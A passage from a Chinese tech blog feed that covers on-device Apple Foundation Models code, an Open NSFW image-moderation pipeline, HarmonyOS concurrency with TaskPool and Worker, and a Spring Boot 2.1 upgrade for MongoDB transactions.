    }

    func categorizeNote(_ content: String) async throws -&gt; NoteCategory {
        guard let session = session else { throw AIServiceError.sessionNotInitialized }

        let prompt = "请分析以下笔记内容并进行分类：\(content)"
        return try await session.response(to: prompt, generating: NoteCategory.self)
    }
}
</code></pre>

<h5 id="">智能客服助手</h5>

<pre><code>class CustomerServiceBot {  
    private var session: LanguageModelSession?

    init() {
        Task {
            try await setupBot()
        }
    }

    private func setupBot() async throws {
        session = try await LanguageModelSession(
            tools: [OrderLookupTool(), RefundProcessTool(), FAQSearchTool()],
            instructions: """
            你是一个专业的客服助手。你需要：
            1. 礼貌和耐心地回应客户问题
            2. 使用工具查找订单信息和处理退款
            3. 如果无法解决问题，建议联系人工客服
            """
        )
    }

    @Generable
    struct CustomerIntent {
        @Guide("客户意图分类：咨询、投诉、退款、查询订单等")
        let intent: String

        @Guide("情绪状态：满意、中性、不满、愤怒")
        let sentiment: String

        @Guide("优先级：低、中、高、紧急")
        let priority: String

        @Guide("是否需要人工介入")
        let needsHumanAgent: Bool
    }

    func analyzeCustomerMessage(_ message: String) async throws -&gt; CustomerIntent {
        guard let session = session else { 
          throw AIServiceError.sessionNotInitialized 
        }

        let prompt = "分析以下客户消息：\(message)"
        return try await session.response(to: prompt, generating: CustomerIntent.self)
    }

    func respondToCustomer(_ message: String) async throws -&gt; String {
        guard let session = session else { 
          throw AIServiceError.sessionNotInitialized 
        }

        let response = try await session.response(to: message)
        return response.content
    }
}
</code></pre>

<h3 id="">结语</h3>

<h1 id=""> </h1>

<p>Foundation Models 框架为iOS开发者提供了强大的本地AI能力，使得在保护用户隐私的同时能够构建智能应用成为可能。通过合理使用这个框架，可以为用户提供更加个性化和智能的体验。</p>

<p>随着Apple Intelligence生态的不断发展，Foundation Models框架将成为iOS应用开发中不可或缺的重要工具。建议深入学习和实践这个框架，创造更好的智能应用体验。</p>

<h3 id="">作者介绍：</h3>

<h1 id=""> </h1>

<ul>
<li>刘爽    高级IOS开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[基于OPEN NSFW的UGC图⽚合规治理体系设计与实践]]></title><description><![CDATA[<h3 id="">一、业务背景</h3>

<h1 id=""> </h1>

<p>某业务的UGC（⽤户⽣成内容）平台中，⽬前历史图⽚没有过内容安全，历史海量数据（1亿+规模）存在隐性违规⻛险。当⽤户访问时，会被检测到，导致域名被封⻛险。因此需要对历史图⽚进⾏扫描，删除违规图⽚。</p>

<p>⽬前有两种⽅案：</p>

<ul>
<li>使⽤云端商业API。</li>
<li>构建本地化内容安全检测体系。</li>
</ul>

<p>云端商业API⽅案存在域名封禁⻛险且经济成本过⾼（按量计费模式预估成本超20万元/亿张）。因此本⽅案通过构建本地化内容安全检测体系，实现合规治理与⻛险控制的平衡。</p>

<h3 id="opennsfw">二、Open NSFW解析</h3>

<h1 id=""> </h1>

<p>Open NSFW基于ResNet-50架构，使⽤Caffe框架训练，输⼊为224x224的RGB图像，输出0（安全）到1（不适宜）的概率值。</p>]]></description><link>https://tech.wekoi.cn/2025/11/07/ji-yu-open-nsfwde-ugctu-he-gui-zhi-li-ti-xi-she-ji-yu-shi-jian/</link><guid isPermaLink="false">26f993c7-f0b3-4532-bb59-ce17747d739c</guid><category><![CDATA[后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Fri, 07 Nov 2025 05:43:04 GMT</pubDate><content:encoded><![CDATA[<h3 id="">一、业务背景</h3>

<h1 id=""> </h1>

<p>某业务的UGC（⽤户⽣成内容）平台中，⽬前历史图⽚没有过内容安全，历史海量数据（1亿+规模）存在隐性违规⻛险。当⽤户访问时，会被检测到，导致域名被封⻛险。因此需要对历史图⽚进⾏扫描，删除违规图⽚。</p>

<p>⽬前有两种⽅案：</p>

<ul>
<li>使⽤云端商业API。</li>
<li>构建本地化内容安全检测体系。</li>
</ul>

<p>云端商业API⽅案存在域名封禁⻛险且经济成本过⾼（按量计费模式预估成本超20万元/亿张）。因此本⽅案通过构建本地化内容安全检测体系，实现合规治理与⻛险控制的平衡。</p>

<h3 id="opennsfw">二、Open NSFW解析</h3>

<h1 id=""> </h1>

<p>Open NSFW基于ResNet-50架构，使⽤Caffe框架训练，输⼊为224x224的RGB图像，输出0（安全）到1（不适宜）的概率值。</p>

<h6 id="">模型特性：</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1762494056.0543.png" alt=""></p>

<h6 id="">优势：</h6>

<ul>
<li>轻量化：模型⼤⼩仅约90MB，推理速度在GPU上可达50ms/张</li>
<li>场景适配：针对⽹络图⽚优化，对模糊、低分辨率图⽚有⼀定鲁棒性</li>
<li>开源透明：允许开发者⾃⾏调整阈值（默认0.8）和⼆次训练</li>
</ul>

<h6 id="">局限性：</h6>

<ul>
<li>不⽀持视频流实时分析</li>
<li>不能识别⽂字</li>
</ul>

<h3 id="">三、⽅案实施</h3>

<h1 id=""> </h1>

<h5 id="">⼯程化改进：</h5>

<h1 id=""> </h1>

<ul>
<li><h6 id="">框架迁移：</h6>

<p>将Caffe模型转换为TensorFlow SavedModel格式，实现跨平台部署能⼒，原始Caffe模型：<a href="https://github.com/yahoo/open_nsfw">https://github.com/yahoo/open_nsfw</a></p></li>
<li><h6 id="">预处理优化：</h6>

<p>采用双线性插值，提升低质量图像识别准确率</p></li>
</ul>

<pre><code>/ --------------------- 图像预处理计算图构建 ---------------------
    // 步骤1: 解码JPEG图像（原始字节 -&gt; UINT8张量）
    // decodeJpeg输出形状 [height, width, channels], channels=3(RGB)
    Output&lt;UInt8&gt; decodedImage = b.decodeJpeg(
        b.constant("input_jpg_bytes", imageBytes),  // 输入JPEG字节流
        3  // 指定输出通道数为3(RGB)
    );

    // 步骤2: 类型转换（UINT8 -&gt; FLOAT，便于后续数值计算）
    Output&lt;Float&gt; floatImage = b.cast(decodedImage, Float.class);

    // 步骤3: 添加批次维度（模型需要batch维度，即使只有一个图像）
    // expandDims在第0维插入，形状变为 [1, height, width, 3]
    Output&lt;Float&gt; batchedImage = b.expandDims(
        floatImage,
        b.constant("batch_dim", 0)  // 在维度0添加批次
    );

    // 步骤4: 双线性插值调整图像尺寸至224x224
    // resizeBilinear输出形状 [1, H, W, 3]
    Output&lt;Float&gt; resizedImage = b.resizeBilinear(
        batchedImage,
        b.constant("target_size", new int[]{H, W})  // 目标尺寸[H,W]顺序
    );

    // 步骤5: 数据归一化（减去训练集均值）
    // sub操作广播mean值到所有像素: (resizedImage - mean)
    Output&lt;Float&gt; meanCentered = b.sub(
        resizedImage,
        b.constant("mean_value", mean)
    );

    // 步骤6: 缩放数据（若训练时使用scale，此处可调整数值范围）
    // div操作广播scale值: (meanCentered / scale)
    Output&lt;Float&gt; normalizedOutput = b.div(
        meanCentered,
        b.constant("scale_factor", scale)
    );
</code></pre>

<ul>
<li>服务化：构建微服务，docker部署，支持k8s动态扩缩容，提高QPS</li>
</ul>

<h5 id="">上线后效果</h5>

<h1 id=""> </h1>

<ul>
<li>对全量数据进⾏扫描（1亿+规模），对违规图⽚进⾏了删除</li>
<li>定时对增量图⽚进⾏扫描，满⾜了合规需求</li>
</ul>

<h3 id="">四、后续升级</h3>

<h1 id=""> </h1>

<h6 id="1">1、多模态融合检测：</h6>

<h1 id=""> </h1>

<ul>
<li>视觉增强：集成YOLOv11实现敏感部位定位（ROI聚焦检测）</li>
<li>⽂本识别：采⽤PaddleOCR提取图⽚内⽂字，构建敏感词库正则匹配</li>
<li>对抗样本防御：部署PGD对抗训练模型，抵御98%的⾊情图⽚变体</li>
</ul>

<h6 id="2">2、实时视频流分析：</h6>

<p>研发基于帧采样+关键帧检测的混合架构</p>

<h6 id="3">3、边缘计算部署：</h6>

<p>研发ARM架构优化版本，⽀持移动端本地检测</p>

<h3 id="">五、总结</h3>

<h1 id=""> </h1>

<p>本⽅案验证了开源模型在企业级内容安全场景的可⾏性，为UGC平台合规治理提供了可复⽤的技术范式。通过持续优化多模态检测能⼒与⼯程化效能，构建起兼顾安全性与经济性的智能审核体系。</p>

<h3 id="">作者介绍</h3>

<h1 id=""> </h1>

<p>邓力  高级服务端开发工程师</p>]]></content:encoded></item><item><title><![CDATA[鸿蒙开发中的并发处理]]></title><description><![CDATA[<h3 id="">并发</h3>

<h1 id=""> </h1>

<ul>
<li>并发是指在一个时间段内，多个事件、任务或操作同时进行或者交替进行的方式。</li>
<li>在计算机科学中，特指多个任务或程序同时执行的能力。</li>
<li>并发可以提升系统的吞吐量、响应速度和资源利用率，并能更好地处理多用户、多线程和分布式的场景。</li>
<li>常见的并发模型有多线程、多进程、多任务、协程等。</li>
</ul>

<h3 id="">一、并发概述</h3>

<h1 id=""> </h1>

<p>为了提升应用的响应速度与帧率，避免耗时任务对主线程的影响，HarmonyOS提供了异步并发和多线程并发两种处理策略。
<img src="http://static.etouch.cn/imgs/upload/1762486863.6284.png" alt=""></p>

<h1 id=""> </h1>

<p>HarmonyOS中的异步并发和多线程并发  </p>

<h1 id=""> </h1>

<p><img src="http://static.etouch.cn/imgs/upload/1762486915.7655.png" alt="" title="">  </p>

<h3 id="">二、异步并发</h3>

<h1 id=""> </h1>

<ul>
<li>Promise和async/await提供异步并发能力，是标准的JS异步语法。</li>
<li>异步代码会被挂起并在之后继续执行，同一时间只有一段代码执行，适用于单次I/O任务的场景开发，例如一次网络请求、一次文件读写等操作。无需另外启动线程执行。</li>
<li>异步语法是一种编程语言的特性，允许程序在执行某些操作时不必等待其完成，而是可以继续执行其他操作。</li>
</ul>

<h1 id=""> </h1>

<p>1、Promise  </p>

<h1 id=""> </h1>

<ul>
<li>Promise是一种用于处理异步操作的对象。它表示一个可能还未完成的操作，并提供了一系列方法来处理操作的结果或错误。</li>
<li>Promise对象有三种状态：pending（进行中）、fulfilled（已完成）和rejected（已失败）。当操作完成时，Promise对象将会从pending状态转变为fulfilled或rejected状态，并调用相应的回调函数。</li></ul>]]></description><link>https://tech.wekoi.cn/2025/11/07/hong-meng-kai-fa-zhong-de-bing-fa-chu-li/</link><guid isPermaLink="false">34fe3df1-b4b9-458a-b9fa-84ee221ab0ba</guid><category><![CDATA[客户端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Fri, 07 Nov 2025 03:50:33 GMT</pubDate><content:encoded><![CDATA[<h3 id="">并发</h3>

<h1 id=""> </h1>

<ul>
<li>并发是指在一个时间段内，多个事件、任务或操作同时进行或者交替进行的方式。</li>
<li>在计算机科学中，特指多个任务或程序同时执行的能力。</li>
<li>并发可以提升系统的吞吐量、响应速度和资源利用率，并能更好地处理多用户、多线程和分布式的场景。</li>
<li>常见的并发模型有多线程、多进程、多任务、协程等。</li>
</ul>

<h3 id="">一、并发概述</h3>

<h1 id=""> </h1>

<p>为了提升应用的响应速度与帧率，避免耗时任务对主线程的影响，HarmonyOS提供了异步并发和多线程并发两种处理策略。
<img src="http://static.etouch.cn/imgs/upload/1762486863.6284.png" alt=""></p>

<h1 id=""> </h1>

<p>HarmonyOS中的异步并发和多线程并发  </p>

<h1 id=""> </h1>

<p><img src="http://static.etouch.cn/imgs/upload/1762486915.7655.png" alt="" title="">  </p>

<h3 id="">二、异步并发</h3>

<h1 id=""> </h1>

<ul>
<li>Promise和async/await提供异步并发能力，是标准的JS异步语法。</li>
<li>异步代码会被挂起并在之后继续执行，同一时间只有一段代码执行，适用于单次I/O任务的场景开发，例如一次网络请求、一次文件读写等操作。无需另外启动线程执行。</li>
<li>异步语法是一种编程语言的特性，允许程序在执行某些操作时不必等待其完成，而是可以继续执行其他操作。</li>
</ul>

<h1 id=""> </h1>

<p>1、Promise  </p>

<h1 id=""> </h1>

<ul>
<li>Promise是一种用于处理异步操作的对象。它表示一个可能还未完成的操作，并提供了一系列方法来处理操作的结果或错误。</li>
<li>Promise对象有三种状态：pending（进行中）、fulfilled（已完成）和rejected（已失败）。当操作完成时，Promise对象将会从pending状态转变为fulfilled或rejected状态，并调用相应的回调函数。</li>
<li>使用Promise可以更加方便地管理异步操作，并避免回调函数嵌套过多的问题。</li>
<li>Promise是一种用于处理异步操作的对象。它可以认为是一个代理，用来代表一个尚未完成但最终会完成的操作。</li>
</ul>

<h6 id="promise">Promise实例</h6>

<h1 id=""> </h1>

<pre><code> myAsyncFunction(): Promise&lt;string&gt; {  
      return new Promise((resolve, reject) =&gt; {  
        setTimeout(() =&gt; {  
          const success = true; // 模拟提交成功  
          if (success) {  
            resolve('提交成功');  
          } else {  
            reject('提交失败');  
          }  
        }, 1000)  
      })  
    }
</code></pre>

<pre><code>import { BusinessError } from '@kit.BasicServicesKit';

this.myAsyncFunction().then((result: string) =&gt; {  
  console.log(result)  
})  
  .catch((error: BusinessError) =&gt; {  
    console.log(error.message)  
  })  
  .finally(() =&gt; {  
    console.log("操作完成")  
  })
</code></pre>

<p>通过then方法可以注册成功回调函数，通过catch方法可以注册失败回调函数，通过finally方法可以注册最终回调函数。</p>

<p>当异步操作完成后，Promise会根据操作的结果调用相应的回调函数。</p>

<h6 id="asyncawait">async/await</h6>

<ul>
<li>async/await是一种用于处理异步操作的Promise语法糖</li>
<li>基于Promise对象以一种更简单、易读的方式编写和处理异步代码</li>
</ul>

<h1 id=""> </h1>

<p>下面看看async/await的定义和使用</p>

<ul>
<li>async关键字修饰的函数表示这是一个异步函数，会自动返回一个Promise对象</li>
</ul>

<pre><code> async foo() {  
      // 异步操作  
      return "result"  
    }
</code></pre>

<h6 id="await">await关键字</h6>

<ul>
<li>await关键字需要在async函数内部使用，等待一个Promise对象的解析结果，即Promise对象状态变为resolved（成功）或rejected（失败）</li>
</ul>

<pre><code> async myAsyncFunction() : Promise&lt;string&gt; {  
      const result: string = await new Promise((resolve) =&gt; {  
        setTimeout(() =&gt; {  
          const success = true;   
    if (success) {  
            resolve('Hello, world!');  
          }  
        }, 3000)  
      })  
      console.log(result)  
      return result  
    }

    Text(this.message)  
      .id('Submit')  
      .fontSize(50)  
      .fontWeight(FontWeight.Bold)  
      .onClick(() =&gt; {  
        let res = this.myAsyncFunction().then((resolve =&gt; {  
          console.info("resolve is: " + resolve);  
        })).catch((error: BusinessError) =&gt; {  
          console.info("error is: " + error.message);  
        });  
        console.info("result is: " + res);  
      })
</code></pre>

<p>在async函数中使用await关键字可以实现类似同步代码的连续执行效果，而不需要嵌套使用回调函数或链式调用then方法。</p>

<h6 id="asyncawait">async/await的优点</h6>

<ul>
<li>代码可读性更高，更接近同步代码的写法，易于理解和维护</li>
<li>可以在代码中使用try/catch语句来捕获和处理异步操作产生的错误</li>
<li>可以使用常规的控制流语法（如循环、条件语句）来组织和管理异步代码的执行顺序</li>
<li>async/await是依赖Promise对象来处理异步操作</li>
<li>async/await只是一种更加简洁和易读的语法，本质上仍然是基于Promise的异步编程模式</li>
</ul>

<h6 id="io">IO异步任务开发示例</h6>

<pre><code>import fs from '@ohos.file.fs';  
    import common from '@ohos.app.ability.common';

    async write(data: string, file: fs.File): Promise&lt;void&gt; {  
      fs.write(file.fd, data).then((writeLen: number) =&gt; {  
        console.log("write data length is: " + writeLen)  
      }).catch((error: BusinessError) =&gt; {  
        console.error(`write data failed. Code is ${error.code}, message is ${error.message}`);  
      })  
    }  

    async testWriteFile() : Promise&lt;void&gt; {  
      let context = getContext() as common.UIAbilityContext  
      let filePath: string = context.filesDir + "/logFile.txt"  
      let file: fs.File = await fs.open(filePath, fs.OpenMode.READ_WRITE | fs.OpenMode.CREATE)  
      this.write("Hello World", file).then(()=&gt; {  
        console.log("write success")  
      }).catch((error: BusinessError) =&gt; {  
        console.error(`write data failed. Code is ${error.code}, message is ${error.message}`);  
      })  
    }
</code></pre>

<h3 id="">三、多线程并发</h3>

<h1 id=""> </h1>

<h6 id="actor">Actor并发模型</h6>

<h1 id=""> </h1>

<ul>
<li>Actor并发模型是一种用于并发计算的编程模型</li>
<li>在该模型中，每一个线程都是一个独立Actor，每个Actor有自己独立的内存，Actor之间通过消息传递机制触发对方Actor的行为</li>
<li>Actor并发模型对比内存共享并发模型的优势在于不同线程间内存隔离，不会产生不同线程竞争同一内存资源的问题</li>
<li>不需要考虑对内存上锁导致的一系列功能、性能问题，提升了开发效率</li>
<li>ArkTS语言选择的并发模型就是Actor</li>
<li>ArkTS提供了TaskPool和Worker两种并发能力，TaskPool和Worker都基于Actor并发模型实现</li>
</ul>

<h6 id="taskpoolworker">TaskPool和Worker的实现特点对比</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1762487094.9997.png" alt=""></p>

<h6 id="taskpoolworker">TaskPool和Worker的适用场景对比</h6>

<p>性能方面使用TaskPool会优于Worker，因此大多数场景推荐使用TaskPool。
TaskPool偏向独立任务维度，任务在线程中执行，不需要关注线程的生命周期。超长任务（大于3分钟）会被系统自动回收。</p>

<p>适用场景：</p>

<ul>
<li>运行时间超过3分钟的任务，需要使用Worker。</li>
<li>有关联的一系列同步任务，例如在需要创建和使用不同句柄的场景中，每次创建的句柄需要永久保存。这种情况需要使用Worker来管理线程生命周期。</li>
<li>需要频繁取消任务的场景，例如图库大图浏览，为了提升用户体验，同时缓存当前图片左右侧各2张图片。当用户往一侧滑动跳到下一张图片时，需要取消另一侧的一个缓存任务。这种情况下，使用TaskPool来管理任务会更适合。Worker偏向线程的维度，支持长时间占据线程执行，需要主动管理线程的生命周期。</li>
<li>需要长时间占用线程执行的任务，例如网络请求、数据库操作等。这种情况下，使用Worker可以保持线程的稳定性和性能。</li>
<li>另外，在大量或者调度点较分散的任务场景下，如大型应用的多个模块包含多个耗时任务，不方便使用Worker去做负载管理，推荐采用TaskPool。</li>
</ul>

<h6 id="taskpool">TaskPool运作机制</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1762487156.2974.png" alt="图片"></p>

<ul>
<li>TaskPool支持开发者在主线程封装任务抛给任务队列，系统会自动选择合适的工作线程，进行任务的分发及执行，再将结果返回给主线程</li>
<li>TaskPool提供简洁易用的接口，支持任务的执行和取消操作</li>
<li>系统统一线程管理，结合动态调度及负载均衡算法，可以节约系统资源</li>
</ul>

<h6 id="worker">Worker运作机制</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1762487218.3695.png" alt=""></p>

<ul>
<li>Worker子线程与宿主线程拥有独立的实例，包含基础设施、对象、代码段</li>
<li>每个Worker启动存在一定的内存开销，需要限制Worker的子线程数量</li>
<li>Worker子线程和宿主线程之间的通信是基于消息传递的</li>
<li>Worker通过序列化机制与宿主线程之间相互通信，完成命令及数据交互</li>
</ul>

<h6 id="taskpool">TaskPool注意事项</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1762487294.9473.png" alt=""></p>

<h6 id="concurrent">@Concurrent装饰器：校验并发函数</h6>

<ul>
<li>在HarmonyOS中，@Concurrent装饰器用于标识一个方法需要在工作线程中执行</li>
<li>该装饰器可以应用于普通的方法或者回调方法</li>
<li>使用@Concurrent装饰器的方法会在一个工作线程中执行，不会阻塞主线程的运行。</li>
<li>对于一些耗时操作或者需要与其他服务进行交互的方法非常有用</li>
<li>在方法执行完成后，可以使用HarmonyOS提供的线程间通信机制将结果传递回主线程</li>
</ul>

<h6 id="">装饰器使用示例</h6>

<pre><code>import taskpool from '@ohos.taskpool';  
    @Concurrent  
    function add(num1: number, num2: number): number {  
      return num1 + num2  
    }  

    async function ConcurrentFunc(): Promise&lt;void&gt; {  
      try {  
        let task: taskpool.Task = new taskpool.Task(add, 1, 2)  
        console.log("taskpool res is:" + await taskpool.execute(task))  
      } catch (e) {  
        console.error("taskpool execute error is:" + e)  
      }  
    }

    @Entry  
    @Component  
    struct Index {  
      @State message: string = 'Submit';  

          build() {  

            RelativeContainer() {  

              Text(this.message)  
                .id('Submit')  
                .fontSize(50)  
                .fontWeight(FontWeight.Bold)  
                .onClick(() =&gt; {  
                    ConcurrentFunc()  
                })  
                .alignRules({  
                  center: { anchor: '__container__', align: VerticalAlign.Center },  
                  middle: { anchor: '__container__', align: HorizontalAlign.Center }  
                })  
            }  
            .height('100%')  
            .width('100%')  
          }
    }
</code></pre>

<h6 id="">同步任务</h6>

<ul>
<li>在异步编程中，任务同步是指在多个异步任务之间进行协调和同步执行的过程。</li>
<li>当存在多个异步任务需要按照一定的顺序或条件进行执行时，任务同步可以确保任务按照预期的顺序或条件进行执行。</li>
</ul>

<p>常见的任务同步方式包括：</p>

<ul>
<li>回调函数：通过在一个异步任务完成后触发回调函数来执行下一个任务。</li>
<li>Promise/异步函数：使用Promise或异步函数的异步链式调用，通过then或await等关键字确保任务按顺序执行。</li>
<li>线程间通信：通过消息队列或信号量等机制，在异步任务之间传递消息或信号，使得任务按特定的顺序或条件执行。</li>
<li>锁或互斥体：使用锁或互斥体等同步机制，在异步任务之间实现互斥访问，确保任务按照顺序执行。</li>
<li>任务同步的目的是确保异步任务能够按照一定的顺序或条件执行，以避免竞态条件、数据错误或逻辑错误。</li>
</ul>

<h6 id="taskpool">使用taskpool处理同步任务</h6>

<pre><code>export default class Handle {  
      private static singleton : Handle  

      public static getInstance() : Handle {  
        if (!Handle.singleton) {  
          Handle.singleton = new Handle();  
        }  
        return Handle.singleton;  
      }  

      public syncGet() {  
        return  
      }  

      public static syncSet(num: number) {  
        return  
      }  
    }

    import taskpool from '@ohos.taskpool';
    import Handle from './Handle';

    // 定义并发函数，内部调用同步方法  
    @Concurrent  
    function func(num: number) {  
      // 调用静态类对象中实现的同步等待调用  
      Handle.syncSet(num)  
      // 或者调用单例对象中实现的同步等待调用  
      Handle.getInstance().syncGet()  
      return true  
    }  

    // 创建任务并执行  
    async function asyncGet() {  
      // 创建task并传入函数func  
      let task = new taskpool.Task(func, 1);  
      // 执行task任务，获取结果res  
      let res = await taskpool.execute(task);  
      // 对同步逻辑后的结果进行操作  
      console.info(String(res));  
    }

    asyncGet()
</code></pre>

<h3 id="">总结</h3>

<h1 id=""> </h1>

<ul>
<li>本次主要分享了关于鸿蒙开发中的异步并发和多线程并发的</li>
<li>异步并发的介绍，和基本的用法，简单的举例；两种异步操作实现的对比</li>
<li>多线程并发的简单概述，TaskPool和Worker两种多线程并发能力的介绍和对比，适用场景</li>
<li>最后提及了TaskPool使用的简单例子</li>
</ul>

<h3 id="">作者介绍</h3>

<h1 id=""> </h1>

<ul>
<li>吕游  资深Android开发工程师</li>
</ul>]]></content:encoded></item><item><title><![CDATA[SpinrgBoot升级总结]]></title><description><![CDATA[<h3 id="">一、背景</h3>

<p>公司目前使用的Spring Boot版本为1.5.12.RELEASE，该版本较低且不支持MongoDB事务管理功能。随着公司业务的不断扩展和发展，涉及到更多复杂的业务场景，确保数据一致性和事务原子性显得更加重要。</p>

<p>基于上述情况，本次对Spring Boot的升级变得至关重要。主要原因包括：</p>

<ul>
<li>实现数据一致性：升级Spring Boot版本以支持MongoDB事务管理功能可以有效保证数据操作的一致性和原子性，避免出现数据不一致或操作异常等问题，提升系统稳定性和可靠性。</li>
<li>技术迭代和一致性：随着技术的不断更新和演进，保持技术栈的一致性和与其他技术组件的兼容性是非常重要的。使用更新的Spring Boot版本可以获得更多功能改进和性能优化，以及更好的支持最新的技术要求。</li>
<li>开发效率和质量：通过升级Spring Boot版本，开发人员可以更加高效地处理事务管理，简化代码逻辑，提高开发效率和代码质量，减少潜在的错误和维护成本。</li>
</ul>

<p>基于当前的业务需求和技术发展趋势，升级Spring Boot版本以支持MongoDB事务管理是当下的紧迫任务。这将有助于提升公司的技术水平、业务发展和竞争力，同时可以降低风险并为未来的发展做好充分准备。因此，推动Spring Boot版本的升级是非常有必要的。</p>

<h3 id="">二、版本选择</h3>

<p>Spring Boot版本支持MongoDB事务管理要求：</p>

<ul>
<li>Mongodb 4.0副本集群、Mongodb</li></ul>]]></description><link>https://tech.wekoi.cn/2025/11/06/spinrgbootsheng-ji-zong-jie-2/</link><guid isPermaLink="false">ce8d1d84-1c56-4dd6-ba61-eeab9dcb272f</guid><category><![CDATA[后端]]></category><dc:creator><![CDATA[微鲤技术团队]]></dc:creator><pubDate>Thu, 06 Nov 2025 09:32:00 GMT</pubDate><content:encoded><![CDATA[<h3 id="">一、背景</h3>

<p>公司目前使用的Spring Boot版本为1.5.12.RELEASE，该版本较低且不支持MongoDB事务管理功能。随着公司业务的不断扩展和发展，涉及到更多复杂的业务场景，确保数据一致性和事务原子性显得更加重要。</p>

<p>基于上述情况，本次对Spring Boot的升级变得至关重要。主要原因包括：</p>

<ul>
<li>实现数据一致性：升级Spring Boot版本以支持MongoDB事务管理功能可以有效保证数据操作的一致性和原子性，避免出现数据不一致或操作异常等问题，提升系统稳定性和可靠性。</li>
<li>技术迭代和一致性：随着技术的不断更新和演进，保持技术栈的一致性和与其他技术组件的兼容性是非常重要的。使用更新的Spring Boot版本可以获得更多功能改进和性能优化，以及更好的支持最新的技术要求。</li>
<li>开发效率和质量：通过升级Spring Boot版本，开发人员可以更加高效地处理事务管理，简化代码逻辑，提高开发效率和代码质量，减少潜在的错误和维护成本。</li>
</ul>

<p>基于当前的业务需求和技术发展趋势，升级Spring Boot版本以支持MongoDB事务管理是当下的紧迫任务。这将有助于提升公司的技术水平、业务发展和竞争力，同时可以降低风险并为未来的发展做好充分准备。因此，推动Spring Boot版本的升级是非常有必要的。</p>

<h3 id="">二、版本选择</h3>

<p>Spring Boot版本支持MongoDB事务管理要求：</p>

<ul>
<li>Mongodb 4.0副本集群、Mongodb 4.2支持分片集群事务（必须）</li>
<li>spring.data.mongodb 版本2.1以上（必须）</li>
<li>Spring Boot版本2.1以上（必须）</li>
</ul>

<p>目前业务中使用的是Mongodb 4.0及4.0以上版本，因此只需升级Spring Boot、spring.data.mongodb即可。</p>

<p>为了在支持MongoDB事务管理的基础上尽量减少项目代码修改范围，因此版本选择如下：</p>

<ul>
<li>spring.data.mongodb：2.1.15.RELEASE</li>
<li>springboot：2.1.12.RELEASE</li>
</ul>

<h3 id="">三、版本特征</h3>

<h1 id=""> </h1>

<h6 id="">默认动态代理策略</h6>

<h1 id=""> </h1>

<p>默认使用CGLIB动态代理，包括AOP。如果需要基于接口的动态代理, 需要设置spring.aop.proxy-target-class属性为false。</p>

<h6 id="webmvcconfigureradapter">WebMvcConfigurerAdapter过时</h6>

<h1 id=""> </h1>

<p>WebMvcConfigurerAdapter这个抽象类已经过时，可以用WebMvcConfigurer替代。</p>

<pre><code>// 1.5.12.RELEASE
public class MyWebMvcConfigurerAdapter extends WebMvcConfigurerAdapter {  
    // ...
}

// 2.1.12.RELEASE
public class MyWebMvcConfigurerAdapter implements WebMvcConfigurer {  
    // ...
}
</code></pre>

<h6 id="">使用关系型数据库</h6>

<h1 id=""> </h1>

<p>默认的数据库连接池由Tomcat换成HikariCP。性能方面 HikariCP > Druid > tomcat-jdbc > dbcp > c3p0</p>

<p>如果在一个Tomcat应用中用spring.datasource.type来强制使用Hikari连接池， 则可以去掉这个override。</p>

<h6 id="redis">Redis</h6>

<h1 id=""> </h1>

<p>当使用spring-boot-starter-redis的时候，Lettuce现已取代Jedis作为Redis驱动。仍然支持Jedis，并且你可以任意切换依赖机制，通过排除io.lettuce:lettuce-core和添加redis.clients.jedis的方式。</p>

<h6 id="servletspecificserver">Servlet-specific 的关于 server 的属性</h6>

<h1 id=""> </h1>

<p>一些Servlet-specific已经移动到server.servlet的server.*属性：
<img src="http://static.etouch.cn/imgs/upload/1762486447.9301.png" alt=""></p>

<h6 id="">依赖版本</h6>

<h1 id=""> </h1>

<p>以下库的最低支持版本：</p>

<ul>
<li>Elasticsearch 5.6</li>
<li>Gradle 4</li>
<li>Hibernate 5.2</li>
<li>Jetty 9.4</li>
<li>Spring Framework 5</li>
<li>Spring Security 5</li>
<li>Tomcat 8.5</li>
</ul>

<h6 id="">更多特性：</h6>

<p><a href="https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.0-Migration-Guide">https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.0-Migration-Guide</a></p>

<p><a href="https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.1-Release-Notes">https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.1-Release-Notes</a></p>

<h3 id="">四、升级步骤</h3>

<h1 id=""> </h1>

<h5 id="1pom">步骤1、pom文件修改</h5>

<h1 id=""> </h1>

<h6 id="1suishenwebxparent">（1）升级suishen-webx-parent版本</h6>

<pre><code>&lt;parent&gt;  
        &lt;groupId&gt;suishen-webx&lt;/groupId&gt;
        &lt;artifactId&gt;suishen-webx-parent&lt;/artifactId&gt;
        &lt;version&gt;2.0-SNAPSHOT&lt;/version&gt;
    &lt;/parent&gt;
</code></pre>

<h6 id="2">（2）完成后确认项目中的依赖版本：</h6>

<p><img src="http://static.etouch.cn/imgs/upload/1762486517.715.png" alt=""></p>

<h6 id="">注意：</h6>

<h1 id=""> </h1>

<ul>
<li>suishen-webx-parent已将表格中的依赖升级，项目中无需再次手动引入。</li>
<li>其他依赖相匹配的版本，请参照：<a href="https://docs.spring.io/spring-boot/docs/2.1.12.RELEASE/reference/pdf/spring-boot-reference.pdf">https://docs.spring.io/spring-boot/docs/2.1.12.RELEASE/reference/pdf/spring-boot-reference.pdf</a></li>
</ul>

<h6 id="2">步骤2、开启事务</h6>

<h1 id=""> </h1>

<h6 id="1mongodb">（1）启用mongodb事务管理</h6>

<h1 id=""> </h1>

<p>引入@EnableTransactionManagement</p>

<pre><code>@EnableTransactionManagement
public class MainApplication extends SuishenWebxApplication {  
}
</code></pre>

<h6 id="2mongodb">（2）配置mongodb事务管理器</h6>

<p>方式1：使用applicationContext-mongodb.xml配置：</p>

<pre><code>&lt;!-- 配置mongodb事务管理器 --&gt;
&lt;bean id="transactionManager" class="org.springframework.data.mongodb.MongoTransactionManager"&gt;
    &lt;constructor-arg name="dbFactory" ref="mongoDbFactory"/&gt;
&lt;/bean&gt;
</code></pre>

<p>方式2：使用Configuration：</p>

<pre><code>@Configuration
public class TransactionConfig {

    @Bean
